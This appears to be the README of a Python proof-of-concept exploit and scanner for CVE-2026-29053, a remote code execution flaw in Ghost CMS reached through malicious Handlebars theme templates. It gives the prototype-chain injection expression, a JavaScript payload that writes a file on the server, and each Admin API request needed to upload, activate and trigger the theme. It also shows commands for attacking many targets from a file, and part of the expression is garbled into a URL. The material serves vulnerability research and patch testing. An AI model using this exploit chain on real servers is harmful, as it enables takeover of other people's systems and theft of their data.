
Python PoC and version scanner for CVE-2026-29053, an authenticated RCE in Ghost CMS below 6.19.1 via malicious Handlebars theme templates.
CVE-2026-29053, affects the Ghost content management system built on Node.js. Versions from 0.7.2 to 6.19.0 are susceptible to this issue. A malicious theme can exploit this vulnerability and execute arbitrary code on the server running Ghost. The severity of this vulnerability is high, with a CVSS score of 7.6. This issue has been patched in version 6.19.1. An attacker who successfully exploits this vulnerability can gain unauthorized access to the server and potentially take control of it. They could then use this access to manipulate data, steal sensitive information, or perform other malicious activities. The affected products/services are all versions of Ghost from 0.7.2 to 6.19.0. To mitigate this risk, users should update their Ghost installations to version 6.19.1 or later as soon as possible. This will ensure that the vulnerability is patched and no longer poses a threat. If updating is not feasible at the moment, it's recommended to closely monitor for any new developments in this vulnerability and apply the necessary security measures to protect against potential attacks. This CVE is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, meaning that it has not been actively exploited by threat actors. However, users should still prioritize updating their systems to prevent any potential risks associated with this vulnerability.
A Python PoC for CVE-2026-29053, a Remote Code Execution vulnerability in Ghost CMS caused by specially crafted themes being able to execute arbitrary JavaScript during template rendering.
Affected: Ghost
0.7.2through6.19.0Fixed: Ghost6.19.1CWE-74 — Improper Neutralization of Special Elements in Output Used by a Downstream Component
Ghost's advisory describes the issue as arbitrary code execution through malicious themes.
Ghost themes use Handlebars templates (.hbs).
A specially crafted template can abuse the way Ghost processes Handlebars expressions and access JavaScript functionality that should not be reachable from a normal theme template.
The important part of the exploit is the template expression:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
The payload is inserted into the template before the malicious theme is packaged.
The resulting template is then uploaded and activated through the Ghost Admin API.
When Ghost subsequently renders the affected template, the injected expression causes the JavaScript payload to execute inside the Ghost server process.
The PoC first establishes an authenticated Ghost Admin session.
The relevant endpoint is:
POST /ghost/api/admin/session/
The request generated by the PoC is equivalent to:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost returns the authenticated session cookie.
The PoC checks for HTTP 201 and then continues using the same requests.Session() object.
The exploit creates a ZIP archive containing a minimal Ghost theme.
The important files are:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
The malicious template is written to:
page-rce.hbs
The PoC constructs the archive entirely in memory using Python's zipfile module.
The generated package.json identifies the archive as a Ghost theme:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
The vulnerable portion of the theme is the Handlebars expression inside page-rce.hbs.
The PoC generates:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% before the theme is compressed.The default PoC uses a file-write payload as a non-destructive proof of code execution.
It generates JavaScript equivalent to:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
This demonstrates that the payload is executing inside the Ghost Node.js process and can access Node.js functionality.
The PoC also contains an optional callback mode for lab environments.
Once the malicious theme has been generated, the PoC sends it to:
POST /ghost/api/admin/themes/upload/
The request is a multipart form upload.
Conceptually:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
The archive contains the malicious .hbs template described above.
The PoC expects HTTP 200 and extracts the returned theme name from the JSON response.
After uploading the theme, the PoC activates it with:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
The activation endpoint is constructed dynamically:
/ghost/api/admin/themes/{theme_name}/activate/
The exploit stops if Ghost does not return HTTP 200.
The PoC then creates a published page:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
The code uses the slug:
/rce/
If the page already exists, it attempts to retrieve the existing page instead.
The final trigger is simply:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
This causes Ghost to render the active theme.
The PoC checks the returned HTML for:
CVE-2026-29053 trigger
to confirm that page-rce.hbs was rendered.
The important distinction is that the attacker is not merely injecting HTML into a page.
The malicious input becomes part of a Ghost Handlebars theme template.
The template is subsequently interpreted by Ghost's server-side rendering system.
The crafted expression reaches JavaScript functionality through the prototype/construction chain:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
attacker-controlled JavaScript
The resulting JavaScript executes in the Ghost server process.
The PoC demonstrates this by accessing Node's built-in fs module and writing a file on the server.
Putting the HTTP interaction together:
1. POST /ghost/api/admin/session/
└── authenticate
2. POST /ghost/api/admin/themes/upload/
└── upload malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── activate malicious theme
4. POST /ghost/api/admin/pages/
└── create /rce/
5. GET /rce/
└── render malicious page-rce.hbs
└── Handlebars expression
└── JavaScript execution
└── OS-level impact
The PoC also contains a scanner.
It requests:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
The response is parsed for:
{
"site": {
"version": "6.19.0"
}
}
The PoC then compares the version against:
0.7.2 <= version <= 6.19.0
and reports matching versions as vulnerable.
The published advisory specifies the affected range as >= 0.7.2, < 6.19.1, with 6.19.1 as the fixed version.
python3 exploit.py --target http://TARGET
The default proof path is:
/tmp/cve-2026-29053-rce.txt
It can be changed with:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
If Ghost setup has already been completed:
python3 exploit.py --target http://TARGET --skip-setup
Credentials can be supplied using:
--email
--password
Targets can be supplied from a file:
python3 exploit.py --file targets.txt
Thread count:
python3 exploit.py --file targets.txt --threads 25
The scanner checks the Ghost Admin site endpoint and compares the reported Ghost version against the vulnerable range.
Successful exploitation allows arbitrary JavaScript execution within the Ghost server process.
Depending on the privileges of the Ghost process and the payload used, this can affect:
The published CVE record rates the issue as network reachable but requiring high privileges and user interaction, with scope changed.
Upgrade Ghost to:
6.19.1+
Ghost's vulnerability advisory identifies 6.19.1 as the patched version.
Do not install untrusted themes.
This PoC is provided for vulnerability research, authorized penetration testing, and educational purposes.